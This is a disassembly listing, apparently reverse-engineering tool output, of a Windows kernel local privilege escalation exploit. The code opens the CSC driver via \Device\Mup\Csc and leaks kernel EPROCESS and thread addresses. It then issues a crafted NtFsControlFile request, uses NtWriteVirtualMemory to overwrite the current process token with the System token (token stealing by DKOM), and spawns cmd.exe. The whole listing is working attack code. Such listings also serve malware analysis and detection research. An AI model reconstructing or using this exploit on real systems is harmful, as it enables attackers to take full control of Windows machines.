Function at 0x140001180
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r15d, r15d
mov byte [rbp + 0xf], 1
xorps xmm0, xmm0
mov dword [rbp - 0x1d], r15d
lea rdx, str.DeviceMup_Csc..
mov dword [rbp - 5], r15d
lea rcx, [rbp + 0x1f]
mov qword [rbp - 0x39], r15
movups xmmword [rbp + 0x1f], xmm0
mov edi, r15d
mov qword [rbp + 0x17], r15
movups xmmword [rbp + 0x2f], xmm0
mov esi, r15d
mov qword [rbp - 0x31], r15
call qword [0x140005678]
mov dword [rsp + 0x50], r15d
lea rax, [rbp + 0x1f]
mov qword [rsp + 0x48], r15
lea r9, [rbp + 0x2f]
mov dword [rsp + 0x40], 0x80
lea r8, [rbp - 0x21]
mov dword [rsp + 0x38], 3
lea rcx, [rbp - 0x29]
mov dword [rsp + 0x30], r15d
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x80
mov edx, 0x100000
mov qword [rsp + 0x20], r15
mov dword [rbp - 0x21], 0x30
mov qword [rbp - 0x19], r15
mov dword [rbp - 9], r15d
mov qword [rbp - 0x11], rax
movdqu xmmword [rbp - 1], xmm0
call qword [0x140005688]
mov ebx, eax
test eax, eax
jns 0x140001262
mov edx, eax
lea rcx, str.____NtCreateFile_failed_with_status___x_n
call fcn.140001010
mov eax, ebx
jmp 0x140001419
mov edx, 4
lea rcx, [rbp - 0x39]
mov r8d, edx
call fcn.140001070
test eax, eax
jne 0x140001419
mov qword [rsp + 0x100], r14
lea rcx, str.___System_EPROCESS_address___llx_n
mov r14, qword [rbp - 0x39]
mov rdx, r14
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 1
mov r8d, eax
lea ecx, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x1400012e4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rbx
lea rcx, [rbp - 0x31]
mov edx, eax
call fcn.140001070
test eax, eax
jne 0x140001411
mov rsi, qword [rbp - 0x31]
lea rcx, str.___Current_THREAD_address___llx_n
mov rdx, rsi
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 1
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001334
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rbx
lea rcx, [rbp + 0x17]
mov edx, eax
call fcn.140001070
test eax, eax
jne 0x140001411
mov rdi, qword [rbp + 0x17]
lea rcx, str.___Current_EPROCESS_address___llx_n
mov rdx, rdi
call fcn.140001010
mov rcx, qword [rbp - 0x29]
lea rax, [rsi + 0x21a]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov dword [rsp + 0x38], r15d
xor edx, edx
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x2f]
mov dword [rsp + 0x28], 0x1401a3
mov qword [rsp + 0x20], rax
call qword [0x140005690]
mov ebx, eax
test eax, eax
jns 0x14000138d
mov edx, eax
lea rcx, str.____NtFsControlFile_failed_with_status___x_n
call fcn.140001010
mov eax, ebx
jmp 0x140001411
lea rcx, str.____Leveraging_DKOM_to_achieve_LPE_n
call fcn.140001010
lea rcx, str.____Calling_Write64_wrapper_to_overwrite_current_EPROCESS__Token_n
call fcn.140001010
mov qword [rbp + 0x17], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
lea r8, [r14 + 0x4b8]
mov rcx, rax
lea rdx, [rdi + 0x4b8]
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
call qword [0x140005680]
mov qword [rbp + 0x17], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
lea r8, [rbp + 0xf]
mov rcx, rax
lea rdx, [rsi + 0x232]
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
call qword [0x140005680]
lea rcx, str.cmd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov r14, qword [rsp + 0x100]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140001540
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
push rbx
sub rsp, 0x20
lea rcx, [0x140003290]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x14000150c
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005680], rax
test rax, rax
je 0x1400014f5
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005698], rax
test rax, rax
je 0x1400014f5
lea rdx, str.RtlInitUnicodeString
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005678], rax
test rax, rax
je 0x1400014f5
lea rdx, str.NtFsControlFile
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005690], rax
test rax, rax
je 0x1400014f5
lea rdx, str.NtCreateFile
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005688], rax
test rax, rax
je 0x1400014f5
add rsp, 0x20
pop rbx
jmp 0x140001180
lea rcx, str.____NtWriteVirtualMemory_not_loaded_n
call fcn.140001010
mov eax, 1
add rsp, 0x20
pop rbx
ret
lea rcx, str.____NTDLL_not_loaded_n
call fcn.140001010
mov eax, 1
add rsp, 0x20
pop rbx
ret